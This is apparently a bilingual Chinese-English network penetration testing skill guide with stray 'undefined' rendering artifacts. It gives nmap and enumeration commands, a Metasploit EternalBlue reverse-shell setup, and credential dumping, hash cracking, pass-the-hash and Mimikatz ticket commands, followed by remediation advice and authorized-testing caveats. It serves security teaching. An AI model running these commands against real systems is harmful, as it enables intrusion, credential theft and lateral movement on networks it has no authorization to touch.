network-penetration-testing

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

网络渗透测试

Network Penetration Testing

概述

Overview

网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。
Network penetration testing is a critical step in evaluating the security of network infrastructure. This skill provides methods, tools, and best practices for network penetration testing.

测试范围

Testing Scope

1. 信息收集

1. Information Gathering

检查项目:
  • 网络拓扑
  • 主机发现
  • 端口扫描
  • 服务识别
Check Items:
  • Network Topology
  • Host Discovery
  • Port Scanning
  • Service Identification

2. 漏洞扫描

2. Vulnerability Scanning

检查项目:
  • 系统漏洞
  • 服务漏洞
  • 配置错误
  • 弱密码
Check Items:
  • System Vulnerabilities
  • Service Vulnerabilities
  • Configuration Errors
  • Weak Passwords

3. 漏洞利用

3. Vulnerability Exploitation

检查项目:
  • 远程代码执行
  • 权限提升
  • 横向移动
  • 持久化
Check Items:
  • Remote Code Execution
  • Privilege Escalation
  • Lateral Movement
  • Persistence

信息收集

Information Gathering

网络扫描

Network Scanning

使用Nmap:
bash
undefined
Using Nmap:
bash
undefined

主机发现

主机发现

nmap -sn 192.168.1.0/24
nmap -sn 192.168.1.0/24

端口扫描

端口扫描

nmap -sS -p- 192.168.1.100
nmap -sS -p- 192.168.1.100

服务识别

服务识别

nmap -sV -sC 192.168.1.100
nmap -sV -sC 192.168.1.100

操作系统识别

操作系统识别

nmap -O 192.168.1.100
nmap -O 192.168.1.100

完整扫描

完整扫描

nmap -sS -sV -sC -O -p- 192.168.1.100

**使用Masscan:**
```bash
nmap -sS -sV -sC -O -p- 192.168.1.100

**Using Masscan:**
```bash

快速端口扫描

快速端口扫描

masscan -p1-65535 192.168.1.0/24 --rate=1000
undefined
masscan -p1-65535 192.168.1.0/24 --rate=1000
undefined

服务枚举

Service Enumeration

SMB枚举:
bash
undefined
SMB Enumeration:
bash
undefined

枚举SMB共享

枚举SMB共享

smbclient -L //192.168.1.100 -N
smbclient -L //192.168.1.100 -N

枚举SMB用户

枚举SMB用户

enum4linux -U 192.168.1.100
enum4linux -U 192.168.1.100

使用nmap脚本

使用nmap脚本

nmap --script smb-enum-shares,smb-enum-users 192.168.1.100

**RPC枚举:**
```bash
nmap --script smb-enum-shares,smb-enum-users 192.168.1.100

**RPC Enumeration:**
```bash

枚举RPC服务

枚举RPC服务

rpcclient -U "" -N 192.168.1.100
rpcclient -U "" -N 192.168.1.100

使用nmap脚本

使用nmap脚本

nmap --script rpc-enum 192.168.1.100

**SNMP枚举:**
```bash
nmap --script rpc-enum 192.168.1.100

**SNMP Enumeration:**
```bash

SNMP扫描

SNMP扫描

snmpwalk -v2c -c public 192.168.1.100
snmpwalk -v2c -c public 192.168.1.100

使用onesixtyone

使用onesixtyone

onesixtyone -c wordlist.txt 192.168.1.0/24
undefined
onesixtyone -c wordlist.txt 192.168.1.0/24
undefined

漏洞扫描

Vulnerability Scanning

使用Nessus

Using Nessus

bash
undefined
bash
undefined

启动Nessus

启动Nessus

访问Web界面

访问Web界面

创建扫描任务

创建扫描任务

分析扫描结果

分析扫描结果

undefined
undefined

使用OpenVAS

Using OpenVAS

bash
undefined
bash
undefined

启动OpenVAS

启动OpenVAS

gvm-setup
gvm-setup

访问Web界面

访问Web界面

创建扫描任务

创建扫描任务

分析扫描结果

分析扫描结果

undefined
undefined

使用Nmap脚本

Using Nmap Scripts

bash
undefined
bash
undefined

漏洞扫描

漏洞扫描

nmap --script vuln 192.168.1.100
nmap --script vuln 192.168.1.100

特定漏洞扫描

特定漏洞扫描

nmap --script smb-vuln-ms17-010 192.168.1.100
nmap --script smb-vuln-ms17-010 192.168.1.100

所有脚本

所有脚本

nmap --script all 192.168.1.100
undefined
nmap --script all 192.168.1.100
undefined

漏洞利用

Vulnerability Exploitation

Metasploit

Metasploit

基础使用:
bash
undefined
Basic Usage:
bash
undefined

启动Metasploit

启动Metasploit

msfconsole
msfconsole

搜索漏洞

搜索漏洞

search ms17-010
search ms17-010

使用模块

使用模块

use exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms17_010_eternalblue

设置参数

设置参数

set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444
set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444

执行

执行

exploit

**后渗透:**
```bash
exploit

**Post-Exploitation:**
```bash

获取系统信息

获取系统信息

sysinfo
sysinfo

获取权限

获取权限

getsystem
getsystem

迁移进程

迁移进程

migrate <pid>
migrate <pid>

获取哈希

获取哈希

hashdump
hashdump

获取密码

获取密码

run post/windows/gather/smart_hashdump
undefined
run post/windows/gather/smart_hashdump
undefined

常见漏洞利用

Common Vulnerability Exploits

EternalBlue:
bash
undefined
EternalBlue:
bash
undefined

使用Metasploit

使用Metasploit

use exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms17_010_eternalblue

使用独立工具

使用独立工具

python eternalblue.py 192.168.1.100

**BlueKeep:**
```bash
python eternalblue.py 192.168.1.100

**BlueKeep:**
```bash

使用Metasploit

使用Metasploit

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

**SMBGhost:**
```bash
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

**SMBGhost:**
```bash

使用独立工具

使用独立工具

python smbghost.py 192.168.1.100
undefined
python smbghost.py 192.168.1.100
undefined

横向移动

Lateral Movement

密码破解

Password Cracking

使用Hashcat:
bash
undefined
Using Hashcat:
bash
undefined

破解NTLM哈希

破解NTLM哈希

hashcat -m 1000 hashes.txt wordlist.txt
hashcat -m 1000 hashes.txt wordlist.txt

破解LM哈希

破解LM哈希

hashcat -m 3000 hashes.txt wordlist.txt
hashcat -m 3000 hashes.txt wordlist.txt

使用规则

使用规则

hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule

**使用John:**
```bash
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule

**Using John:**
```bash

破解哈希

破解哈希

john hashes.txt
john hashes.txt

使用字典

使用字典

john --wordlist=wordlist.txt hashes.txt
john --wordlist=wordlist.txt hashes.txt

使用规则

使用规则

john --wordlist=wordlist.txt --rules hashes.txt
undefined
john --wordlist=wordlist.txt --rules hashes.txt
undefined

Pass-the-Hash

Pass-the-Hash

使用Impacket:
bash
undefined
Using Impacket:
bash
undefined

SMB Pass-the-Hash

SMB Pass-the-Hash

python smbexec.py -hashes :<hash> domain/user@target
python smbexec.py -hashes :<hash> domain/user@target

WMI Pass-the-Hash

WMI Pass-the-Hash

python wmiexec.py -hashes :<hash> domain/user@target
python wmiexec.py -hashes :<hash> domain/user@target

RDP Pass-the-Hash

RDP Pass-the-Hash

xfreerdp /u:user /pth:<hash> /v:target
undefined
xfreerdp /u:user /pth:<hash> /v:target
undefined

票据传递

Pass-the-Ticket

使用Mimikatz:
bash
undefined
Using Mimikatz:
bash
undefined

提取票据

提取票据

sekurlsa::tickets /export
sekurlsa::tickets /export

注入票据

注入票据

kerberos::ptt ticket.kirbi

**使用Rubeus:**
```bash
kerberos::ptt ticket.kirbi

**Using Rubeus:**
```bash

请求票据

请求票据

Rubeus.exe asktgt /user:user /domain:domain /rc4:hash
Rubeus.exe asktgt /user:user /domain:domain /rc4:hash

注入票据

注入票据

Rubeus.exe ptt /ticket:ticket.kirbi
undefined
Rubeus.exe ptt /ticket:ticket.kirbi
undefined

工具使用

Tool Usage

Nmap

Nmap

bash
undefined
bash
undefined

完整扫描

完整扫描

nmap -sS -sV -sC -O -p- -T4 target
nmap -sS -sV -sC -O -p- -T4 target

隐蔽扫描

隐蔽扫描

nmap -sS -T2 -f -D RND:10 target
nmap -sS -T2 -f -D RND:10 target

UDP扫描

UDP扫描

nmap -sU -p- target
undefined
nmap -sU -p- target
undefined

Metasploit

Metasploit

bash
undefined
bash
undefined

启动框架

启动框架

msfconsole
msfconsole

数据库初始化

数据库初始化

msfdb init
msfdb init

导入扫描结果

导入扫描结果

db_import nmap.xml
db_import nmap.xml

查看主机

查看主机

hosts
hosts

查看服务

查看服务

services
undefined
services
undefined

Burp Suite

Burp Suite

网络扫描:
  1. 配置代理
  2. 浏览目标网络
  3. 分析流量
  4. 主动扫描
Network Scanning:
  1. Configure proxy
  2. Browse target network
  3. Analyze traffic
  4. Active scanning

测试清单

Testing Checklist

信息收集

Information Gathering

  • 网络拓扑发现
  • 主机发现
  • 端口扫描
  • 服务识别
  • 操作系统识别
  • Network Topology Discovery
  • Host Discovery
  • Port Scanning
  • Service Identification
  • Operating System Identification

漏洞扫描

Vulnerability Scanning

  • 系统漏洞扫描
  • 服务漏洞扫描
  • 配置错误检查
  • 弱密码检查
  • System Vulnerability Scanning
  • Service Vulnerability Scanning
  • Configuration Error Check
  • Weak Password Check

漏洞利用

Vulnerability Exploitation

  • 远程代码执行
  • 权限提升
  • 横向移动
  • 持久化
  • Remote Code Execution
  • Privilege Escalation
  • Lateral Movement
  • Persistence

常见安全问题

Common Security Issues

1. 未打补丁的系统

1. Unpatched Systems

问题:
  • 系统未及时更新
  • 存在已知漏洞
  • 补丁管理不当
修复:
  • 及时安装补丁
  • 建立补丁管理流程
  • 定期安全更新
Issues:
  • Systems not updated in a timely manner
  • Known vulnerabilities exist
  • Poor patch management
Fixes:
  • Install patches promptly
  • Establish patch management processes
  • Perform regular security updates

2. 弱密码

2. Weak Passwords

问题:
  • 默认密码
  • 简单密码
  • 密码重用
修复:
  • 实施强密码策略
  • 启用多因素认证
  • 定期更换密码
Issues:
  • Default passwords
  • Simple passwords
  • Password reuse
Fixes:
  • Implement strong password policies
  • Enable multi-factor authentication
  • Change passwords regularly

3. 开放端口

3. Open Ports

问题:
  • 不必要的端口开放
  • 服务暴露
  • 防火墙配置错误
修复:
  • 关闭不必要端口
  • 实施防火墙规则
  • 使用VPN访问
Issues:
  • Unnecessary ports open
  • Services exposed
  • Incorrect firewall configurations
Fixes:
  • Close unnecessary ports
  • Implement firewall rules
  • Use VPN for access

4. 配置错误

4. Configuration Errors

问题:
  • 默认配置
  • 权限过大
  • 服务配置不当
修复:
  • 安全配置基线
  • 最小权限原则
  • 定期配置审查
Issues:
  • Default configurations
  • Excessive privileges
  • Improper service configurations
Fixes:
  • Security configuration baselines
  • Principle of least privilege
  • Regular configuration reviews

最佳实践

Best Practices

1. 信息收集

1. Information Gathering

  • 全面扫描
  • 多工具验证
  • 记录发现
  • 分析结果
  • Comprehensive scanning
  • Multi-tool verification
  • Document findings
  • Analyze results

2. 漏洞利用

2. Vulnerability Exploitation

  • 授权测试
  • 最小影响
  • 记录操作
  • 及时清理
  • Authorized testing only
  • Minimal impact
  • Document operations
  • Timely cleanup

3. 报告编写

3. Report Writing

  • 详细记录
  • 风险评级
  • 修复建议
  • 验证步骤
  • Detailed documentation
  • Risk rating
  • Remediation recommendations
  • Verification steps

注意事项

Notes

  • 仅在授权环境中进行测试
  • 避免对生产系统造成影响
  • 遵守法律法规
  • 保护测试数据
  • Only perform testing in authorized environments
  • Avoid impacting production systems
  • Comply with laws and regulations
  • Protect test data